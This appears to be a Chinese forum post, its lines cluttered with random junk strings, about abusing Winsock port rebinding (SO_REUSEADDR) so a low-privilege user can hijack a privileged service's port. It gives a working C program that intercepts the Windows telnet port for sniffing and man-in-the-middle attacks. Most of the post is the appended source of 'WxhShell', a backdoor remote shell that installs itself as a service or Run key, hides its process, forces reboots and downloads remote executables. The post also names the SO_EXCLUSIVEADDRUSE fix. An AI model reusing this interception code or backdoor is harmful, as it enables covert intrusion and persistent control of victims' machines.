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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {N2g8W:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xJ^>pg8  
6fH@wQ"wN  
  saddr.sin_family = AF_INET; q\Q{sv_  
TNCgaTJ{h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FuG4F  
:P,sxDlG)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5Wyz=+?m|  
6vuq1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [Aj Q#;#Q  
LZJA4?C  
  这意味着什么?意味着可以进行如下的攻击: Ee)[\Qjn  
Ds #/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k Iw`P[  
[${ QzO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _It,%<3  
]V %.I_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WARb"8Kg  
\P} p5k[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H1<>NWm!v7  
_{t9 x\=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]-oJ[5cQ0v  
mK+IEZV<3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {,*"3O:\:  
9I1tN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8h3=b[  
P 71(  
  #include IdYzgDH  
  #include ] h-,o R?e  
  #include q)H1pwxD  
  #include    u p.Q>28r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l Z#o+d2Y  
  int main() lzw3=H  
  { ,NnhHb2\  
  WORD wVersionRequested; sK{l 9  
  DWORD ret; +iRq8aS_  
  WSADATA wsaData; .Ha'p.  
  BOOL val; 0TfS=scT  
  SOCKADDR_IN saddr;  tz#gClo  
  SOCKADDR_IN scaddr; mRB   
  int err; xe7O/',pa=  
  SOCKET s; X;<BzA!H  
  SOCKET sc; ?9l [y  
  int caddsize; $0bjKy  
  HANDLE mt; 6KD `oUx  
  DWORD tid;   -':Y\:W  
  wVersionRequested = MAKEWORD( 2, 2 ); Hzrtlet  
  err = WSAStartup( wVersionRequested, &wsaData ); [: xiZ  
  if ( err != 0 ) { +/#Ei'do  
  printf("error!WSAStartup failed!\n"); >=]'hyn]]  
  return -1; f;/QJ  
  } ??n*2s@t  
  saddr.sin_family = AF_INET; /Q,{?';~  
   }2K$^u R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c/B'jPt  
66^ycZCH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8G5Da|\  
  saddr.sin_port = htons(23); zBO(`=|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [((;+B  
  { wApMzZ(X2y  
  printf("error!socket failed!\n"); *Zm^ ~Vo  
  return -1; )tCX y4  
  } ?Ma~^0  
  val = TRUE; |_omr&[_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D;UV&.$'v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S1D@vnZ3O\  
  {  8q1wHZ  
  printf("error!setsockopt failed!\n"); Wrrcx(  
  return -1; :4^\3~i1X  
  } .uNQBBNv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A 'G@uD@3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -s6![eV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w8g,a]p  
^F:k3,_[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >~K qg~  
  { @ym/27cRE  
  ret=GetLastError(); ^z,_+},a3T  
  printf("error!bind failed!\n"); `DT3x{}_S  
  return -1; 8k(P,o  
  } )xb|3&+W  
  listen(s,2); Rb(SBa  
  while(1) aR,}W\6M  
  { TYI7<-Mp:[  
  caddsize = sizeof(scaddr); >vuY+o;B  
  //接受连接请求 wvrrMGU)a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7\ nf:.  
  if(sc!=INVALID_SOCKET)  JHf  
  { *D'$"@w3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q~o,WZG  
  if(mt==NULL) rQ=,y>-*  
  { ~G27;Npy  
  printf("Thread Creat Failed!\n"); *>VVt8*Et  
  break; YC_1Ks  
  } &W f3~hmo  
  } >5Wlc$bc  
  CloseHandle(mt); Yq(G;mjM  
  } /m!Cc/Hv  
  closesocket(s); )[1)$-Ru  
  WSACleanup(); bFA!=uvA  
  return 0; LN_xq&.  
  }   0oEOre3^%  
  DWORD WINAPI ClientThread(LPVOID lpParam) z&V+#Ws/  
  { PQ@L+],C  
  SOCKET ss = (SOCKET)lpParam; kNqH zo  
  SOCKET sc; [o*7FEM|<  
  unsigned char buf[4096]; L28*1]\Jh  
  SOCKADDR_IN saddr; c{[q>@y pK  
  long num; A>{p2?`+!  
  DWORD val; Fq9Q+RNMZL  
  DWORD ret; zD3mX<sw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9<K j6t_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l3nrEk  
  saddr.sin_family = AF_INET; }8;[O 9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V'w@rc\XN  
  saddr.sin_port = htons(23); w&xDOyW]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2< hAa9y  
  { 3BpZX`l*p  
  printf("error!socket failed!\n"); D~o$GW%  
  return -1; yjJ5P`j]  
  } n]dL?BJ  
  val = 100; pH`44KAuM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p _d:eZ  
  { erO>1 ,4S  
  ret = GetLastError(); GWvH[0  
  return -1; 9}z0J  
  } QM?#{%31  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XT;u<aJs  
  { 'Wa,OFd\8  
  ret = GetLastError(); Ew3ibXD  
  return -1; OM{WI27  
  } w1;hy"zPsj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "(qw-kil  
  { fABe  
  printf("error!socket connect failed!\n"); ." $  
  closesocket(sc); Py{ <bd  
  closesocket(ss); (MHAJ]Rx  
  return -1; d6i6hcQE  
  } f{0F|w< gf  
  while(1) GUQ{r!S  
  { 4Z|vnj)Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _{jjgQJ5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "`asF g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1He{v#  
  num = recv(ss,buf,4096,0); fL]Pztsk+  
  if(num>0) l|5fE1K9U  
  send(sc,buf,num,0); ;\MW$/[JCy  
  else if(num==0) [%&ZPJT%i  
  break; % >;#9"O4  
  num = recv(sc,buf,4096,0); g:0#u;j^7  
  if(num>0) Zf5`XslA.  
  send(ss,buf,num,0); ' H7x L  
  else if(num==0) d,$d~alY  
  break; `yF`x8  
  } !z{-?o/  
  closesocket(ss); z4E|Ai  
  closesocket(sc); kF>o.uSV  
  return 0 ; {)AMwq  
  } >hH0Q5aL  
,ZS6jZ  
S>.F_Jl  
========================================================== 2Hum!p:1  
$4MrP$4TI  
下边附上一个代码,,WXhSHELL ~zHg[X*  
>c-fI$]  
========================================================== @xc',I  
:R.&`4=X  
#include "stdafx.h" #Km:}=  
{647|j;e  
#include <stdio.h> &F}"Z(B<wK  
#include <string.h> ttXjn  
#include <windows.h> gT/@dVV  
#include <winsock2.h> RmrL^asg  
#include <winsvc.h> yz2Ci0Dwy  
#include <urlmon.h> XhsTT2B   
t*@z8<H  
#pragma comment (lib, "Ws2_32.lib") K gN)JD>  
#pragma comment (lib, "urlmon.lib") +y 87~]]  
WL+]4Wiz  
#define MAX_USER   100 // 最大客户端连接数 h $N0 D !  
#define BUF_SOCK   200 // sock buffer RI2f`p8k  
#define KEY_BUFF   255 // 输入 buffer 'Peni1_  
Nm):9YQ/  
#define REBOOT     0   // 重启 rxO2QQ%V  
#define SHUTDOWN   1   // 关机 fSDi- I  
n&MG7`]N  
#define DEF_PORT   5000 // 监听端口 Z!0]/mCE8  
lcV<MDS  
#define REG_LEN     16   // 注册表键长度 f&D]anf33  
#define SVC_LEN     80   // NT服务名长度 P,=+W(s9}  
q.2(OP>(  
// 从dll定义API wM[~2C=vx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bxK(9.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'B0{U4?   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jgu94.;5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CQ;]J=|<_  
wW?,;B'74  
// wxhshell配置信息 .Wi{lt  
struct WSCFG { a^5^gId5l!  
  int ws_port;         // 监听端口 A[WV'!A,  
  char ws_passstr[REG_LEN]; // 口令 ceGa([#!\_  
  int ws_autoins;       // 安装标记, 1=yes 0=no PCnQ_A-Q  
  char ws_regname[REG_LEN]; // 注册表键名 PM":Vd/  
  char ws_svcname[REG_LEN]; // 服务名 a{Esw`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3?E8\^N\n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /m _kn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V#ev-\k}@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -G,^1AL>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .}')f;jH5<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !se0F.K  
4x%(9_8 {-  
}; kX:tc   
n]+W 3[i  
// default Wxhshell configuration ^w~23g.  
struct WSCFG wscfg={DEF_PORT, 9;%CHb&  
    "xuhuanlingzhe", .k4W_9  
    1, `bKA+c,f  
    "Wxhshell", w#i[_  
    "Wxhshell", W(fr<<hL  
            "WxhShell Service", l8K5k:XCU3  
    "Wrsky Windows CmdShell Service", 27ckdyQx  
    "Please Input Your Password: ", X}P$emr7  
  1, KNgH|5Pb  
  "http://www.wrsky.com/wxhshell.exe", EliTFxp  
  "Wxhshell.exe" Cc?TSZ8[  
    }; \8O O)98'  
-)!> M>=s  
// 消息定义模块 ]aCk_*U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l!E7A Kk8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #<( = }?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eK/?%t  
char *msg_ws_ext="\n\rExit."; TST4Vy3  
char *msg_ws_end="\n\rQuit."; (eCFWmO  
char *msg_ws_boot="\n\rReboot..."; ECa$vvK m  
char *msg_ws_poff="\n\rShutdown..."; %=j3jj[  
char *msg_ws_down="\n\rSave to "; -VDo[Zy  
nxQ?bk}*d  
char *msg_ws_err="\n\rErr!"; ZWV|# c<G  
char *msg_ws_ok="\n\rOK!"; mYB`)M*Y  
:"0J=>PH:  
char ExeFile[MAX_PATH]; H(0q6~|  
int nUser = 0; UkCnqNvx  
HANDLE handles[MAX_USER]; N^VD=<#T  
int OsIsNt; /RLq>#:h**  
`nR%Cav,U  
SERVICE_STATUS       serviceStatus; CBf7]n0H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CLKov\U\  
#$vRJ#S}U  
// 函数声明 &@"]+33  
int Install(void); ?B.~ AUN  
int Uninstall(void); G)>W'yxQ  
int DownloadFile(char *sURL, SOCKET wsh); }2)DPP:ic  
int Boot(int flag); 1gO2C $  
void HideProc(void); ngulcv  
int GetOsVer(void); .'[/|4H  
int Wxhshell(SOCKET wsl); M^rM-{?<  
void TalkWithClient(void *cs); >95TvJ  
int CmdShell(SOCKET sock); Hg}I]!B  
int StartFromService(void); +w| 9x.&W  
int StartWxhshell(LPSTR lpCmdLine); V's:>;  
l^NC]t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vjViX<#(V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); puJ#w1!x`  
V%HS\<$h  
// 数据结构和表定义  'k&?DZ!  
SERVICE_TABLE_ENTRY DispatchTable[] = .DJDpP)M  
{ f<y& \'3  
{wscfg.ws_svcname, NTServiceMain}, 'UM!*fk7C  
{NULL, NULL} ,gnQa  
}; D 7shiv|,  
J3S&3+2G  
// 自我安装 Mu_i$j$vvP  
int Install(void) T#:F]=  
{ vd#,DU=p!  
  char svExeFile[MAX_PATH]; LU!1s@  
  HKEY key; -'rj&x{Q)U  
  strcpy(svExeFile,ExeFile); iZ[tHw||  
Q"a2.9Eo  
// 如果是win9x系统,修改注册表设为自启动 Z#`0txCF  
if(!OsIsNt) { SP 2 8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -7'#2P<)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9CUimZ  
  RegCloseKey(key); IN^9uL]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4lc)&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  *2u E  
  RegCloseKey(key); 8dT'xuch  
  return 0; :s8A:mx  
    } }\v^+scD  
  } }wt%1v-10U  
} hN`gB#N3  
else { `0BdMKjA  
Ri:p8  
// 如果是NT以上系统,安装为系统服务 DOD6Liau{Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =.m6FRsU  
if (schSCManager!=0) <z#BsnjW{  
{ Zcd7*EBdx  
  SC_HANDLE schService = CreateService twqFs  
  ( i%(yk#=V  
  schSCManager, m^!Sv?hV  
  wscfg.ws_svcname, 1JTbCS  
  wscfg.ws_svcdisp, 9+CFRYC  
  SERVICE_ALL_ACCESS, s*,cF6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sz09+4h#  
  SERVICE_AUTO_START, 1czG55 |  
  SERVICE_ERROR_NORMAL, KS!yT_O  
  svExeFile, xi {|  
  NULL, }F{=#Kqn^  
  NULL, &>}.RX]t  
  NULL, ;cSGlE |  
  NULL, ":WYcaSi  
  NULL 5]"BRn1*  
  ); O4+F^+qN  
  if (schService!=0) <GWR7rUH  
  { P!+v:'P5f  
  CloseServiceHandle(schService); okBE|g  
  CloseServiceHandle(schSCManager); gn5% F5W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oW'PO Ar  
  strcat(svExeFile,wscfg.ws_svcname); {*=E?oF@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { , p0KLU\-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EnscDtf(  
  RegCloseKey(key); <*@~n- R$  
  return 0; $^vP<  
    } ;e;\q;GP  
  } >_Uj?F:  
  CloseServiceHandle(schSCManager); k8&FDz  
} Fe= "EDh  
} ?R?Grw)`H  
r=csi  
return 1; CM 9P"-  
} i>Iee^_(  
7Jx%JgF  
// 自我卸载 )*[ ""&  
int Uninstall(void) AUAI3K?  
{ d7~j^v)=^  
  HKEY key; &telCg:  
_om[VKJd  
if(!OsIsNt) { w??c1)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nUqy1(  
  RegDeleteValue(key,wscfg.ws_regname); )Xno|$b5Eo  
  RegCloseKey(key); '0Zm#g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XV2=8#R  
  RegDeleteValue(key,wscfg.ws_regname); jfSg){  
  RegCloseKey(key); 4;\Y?M}g?  
  return 0; `C<F+/q  
  } $9i9s4u^  
} PRp E$`WK  
} p37|zX  
else { : ej_D}  
AP@<r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3i(Jon/p  
if (schSCManager!=0) uu3M{*}  
{ i`~~+6`J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); + zDc  
  if (schService!=0) 6$z'wy/*  
  { X8b#[40:  
  if(DeleteService(schService)!=0) { {bTeAfbf]  
  CloseServiceHandle(schService); n#>5?W  
  CloseServiceHandle(schSCManager); `cO|RhD @  
  return 0; no3Z\@%  
  } cj^bh  
  CloseServiceHandle(schService); &|z|SY]DL  
  } _?Ckq  
  CloseServiceHandle(schSCManager); H XP;0B%4  
} $nFAu}%C  
} 6h@+?{F.  
hNVMz`r  
return 1; =~",/I?  
} 6H6Law!)  
^f0(aYWx  
// 从指定url下载文件 86{ZFtv  
int DownloadFile(char *sURL, SOCKET wsh) ~>w:;M=sV8  
{ BK*UR+,  
  HRESULT hr; -$ali[  
char seps[]= "/"; ! OfO:L7-  
char *token; paYz[Xq  
char *file; ^?sSx!:bZ  
char myURL[MAX_PATH]; V g6S/-  
char myFILE[MAX_PATH]; !=knppY  
@SQceQfB  
strcpy(myURL,sURL); R_9 o!s TZ  
  token=strtok(myURL,seps); Fva]*5  
  while(token!=NULL) &[)D]UL  
  { 9F)W19i.  
    file=token; h/9Sg*k  
  token=strtok(NULL,seps); zi_[ V@Es/  
  } Cn/q=  
7yUvL8p-  
GetCurrentDirectory(MAX_PATH,myFILE); x Zg7Jg  
strcat(myFILE, "\\"); "MTq{f2?  
strcat(myFILE, file); C,3T!\  
  send(wsh,myFILE,strlen(myFILE),0); CwB] )QV?  
send(wsh,"...",3,0); P|v ?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &&*wmnWCS{  
  if(hr==S_OK) ]wR6bEm7  
return 0; dL(4mR8  
else D0KELA cY  
return 1; ]eD[4Y\#t  
}M="oN~w  
} YZ{;%&rB  
yW:AVqE)t  
// 系统电源模块 )Kr(Y.w  
int Boot(int flag) $WJy?_c  
{ iI}nW  
  HANDLE hToken; @M9_j{A  
  TOKEN_PRIVILEGES tkp; ) _ #T c  
m9k2h1  
  if(OsIsNt) { lkyJ;}_**  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xNx`J@xt$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <@%ma2  
    tkp.PrivilegeCount = 1; 8m \;P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #-A5Z;TD.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E8 \\X  
if(flag==REBOOT) { wb@]>MJ}[s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6XZN>#  
  return 0; .GtINhz*  
} 6eOxF8  
else { r*>QT:sB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iAg}pwU  
  return 0; NrW[Q 3E$  
} JfR kp  
  } Zq9>VqGe  
  else { : qr} M  
if(flag==REBOOT) { z{AM2Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "^!j5fZ  
  return 0; DU(X,hDBF  
} Scf.4~H 0  
else { &,F elB0*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 40rZ~!}  
  return 0; ;\1b{-' l  
} 5,Qy/t}K  
} p~ mN2x]  
:0{AP_tvcC  
return 1; -<_+-t  
} Cnk#Ioz  
'\4c "Ho  
// win9x进程隐藏模块 g+VRT, r  
void HideProc(void) +~@7" |d  
{ tYF$#Nor#k  
K T%i,T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x!Y(Y=i>  
  if ( hKernel != NULL ) wbo{JQ  
  { F1zT )wW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3@%BA(M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pFG]IM7o/u  
    FreeLibrary(hKernel); V#+126  
  } _3*: y/M_  
e_tZja2s  
return; iz,]%<_PE  
} l A 0-?k  
^V_ku@DY  
// 获取操作系统版本 |)~Ex 9%ev  
int GetOsVer(void) wbn^R'  
{ Jx)~kK  
  OSVERSIONINFO winfo; $gXkx D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `4se7{'UK`  
  GetVersionEx(&winfo); 8Ix -i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tuX =o  
  return 1; `" i^'VL,  
  else EolE?g@l8  
  return 0; uv?8V@x2  
} x;<oaT$X  
<|ka{=T  
// 客户端句柄模块 I3V{"Nx6  
int Wxhshell(SOCKET wsl) v/QEu^C  
{ dw@TbJ  
  SOCKET wsh; [P(rY  
  struct sockaddr_in client; 9(i0" hS^  
  DWORD myID; oNh68ON:c  
7uWJ6Wk  
  while(nUser<MAX_USER) `M towXj  
{ Cb4d|yiS8  
  int nSize=sizeof(client); :Bdipc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @&/s~3  
  if(wsh==INVALID_SOCKET) return 1; f>.` xC{  
FF5tPHB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7O;BS}Lv=  
if(handles[nUser]==0) V,99N'o~x  
  closesocket(wsh); ;P 0,60  
else yaCd4KP  
  nUser++; l"2^S6vU  
  } EOMuqP)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =vB]*?;9  
3t J=d'U  
  return 0; !y[}|  
} z(8)1#(n7  
h0'8NvalQ  
// 关闭 socket FY_avW  
void CloseIt(SOCKET wsh) [flu |v  
{ ^T uP=q5?  
closesocket(wsh); 44<9zHK  
nUser--; bW,BhUb,|  
ExitThread(0); [a#?}((  
} ?uNTUU,  
4i ~eTb  
// 客户端请求句柄 #`fi2K&]j  
void TalkWithClient(void *cs) ~ z-?rW  
{ `8$:F4%P  
r&H=i  
  SOCKET wsh=(SOCKET)cs; IG2`9rR  
  char pwd[SVC_LEN];  60Xl.  
  char cmd[KEY_BUFF]; [qO5~E`;  
char chr[1]; 2ID*U d*  
int i,j; y@2vY[)3s  
#U\&i`  
  while (nUser < MAX_USER) { yoq\9* ?u^  
YD0vfwh  
if(wscfg.ws_passstr) { %RfY`n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P>yG/:W;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zi2Eu4p l{  
  //ZeroMemory(pwd,KEY_BUFF); =H.<"7  
      i=0; nm{'HH-4  
  while(i<SVC_LEN) { Qd&d\w/  
0XBBA0t q  
  // 设置超时 i{1)=_$Vt`  
  fd_set FdRead; 6Y92&  
  struct timeval TimeOut; 5p#o1I  
  FD_ZERO(&FdRead); )D6'k{6M  
  FD_SET(wsh,&FdRead); sp=7Kh?|>  
  TimeOut.tv_sec=8; u`L!za7fi  
  TimeOut.tv_usec=0; F1{?]>G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mdy0!{d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S?,KgMVM  
[FeJ8P>z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mlsvP%[f.  
  pwd=chr[0]; vkNZ -`+I  
  if(chr[0]==0xd || chr[0]==0xa) { IxK 3,@d  
  pwd=0; n;S0fg  
  break; eY6gb!5u  
  } @SF" )j|  
  i++; ^-c si   
    } WNF=NNO-R  
W_e-7=6  
  // 如果是非法用户,关闭 socket "W,"qFx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?h>%Ix  
} .5Z,SGBf  
nkr,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OW[/%U>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0s+rd&  
8`rAE_n`%  
while(1) { )M|O;~q  
^Xt]wl*]+  
  ZeroMemory(cmd,KEY_BUFF); H;b'"./  
P}.yEta  
      // 自动支持客户端 telnet标准   ]/<Qn-BbU  
  j=0; y$r?t0  
  while(j<KEY_BUFF) { ^)%wq@Hi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a-UD_|!  
  cmd[j]=chr[0]; (Ay4B*|!  
  if(chr[0]==0xa || chr[0]==0xd) { g O\f:Pg  
  cmd[j]=0; |aOnV,}  
  break; }{w_>!ee  
  } +i q+  
  j++; $J;=Ux)$  
    } W:;`  
2jrX  
  // 下载文件 9^C!,A{u4  
  if(strstr(cmd,"http://")) { ^c[CyZ:a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =w;xaxjL  
  if(DownloadFile(cmd,wsh)) Rm[rQ }:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +gD)Yd  
  else .x-Z+Rs{g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zYgK$u^H  
  } ?G%, k LJJ  
  else { DY+8m8!4H  
{ZBb. $}RC  
    switch(cmd[0]) { yW6[Fpw  
  a s<q  
  // 帮助 Lu#@~  
  case '?': { /K Jx n6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yrK--C8  
    break; t KqCy\-q  
  } Ig?.*j ]  
  // 安装 NdED8 iRc  
  case 'i': { Jj^<:t5{rN  
    if(Install()) 4{;8 ]/.a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#HU?<q8  
    else DT7-v4Zd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T$8$9D_u  
    break; :BZx ) HxQ  
    } oRJP5Y5na  
  // 卸载 (1r>50Ge  
  case 'r': { [2H(yLwO  
    if(Uninstall()) *v7& T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zf!\wY"`  
    else Pi]s<3PL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J!^~KN6[  
    break; OD@@O9  
    } {/|8g(  
  // 显示 wxhshell 所在路径 nD?M;XN  
  case 'p': { DHujpZXQ  
    char svExeFile[MAX_PATH]; X-2S*L'  
    strcpy(svExeFile,"\n\r"); /xm} ?t0U  
      strcat(svExeFile,ExeFile); K&gc5L  
        send(wsh,svExeFile,strlen(svExeFile),0); JXR/K=<^  
    break; L!}j3(I  
    } 5\*wX.wp  
  // 重启 2" {]A;@  
  case 'b': { !A^w6Q;`V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z@aL"@2]a  
    if(Boot(REBOOT)) RxDxLU2kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yfw>y=/p  
    else { RT+30Q?  
    closesocket(wsh); hK9oe%kU~  
    ExitThread(0); >J75T1PH=  
    } aBtfZDCfzp  
    break; 4`5Qt=}  
    } E,yzy[gl  
  // 关机 O t4+VbB6  
  case 'd': { R;-FZ@u/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IM&7h! l"|  
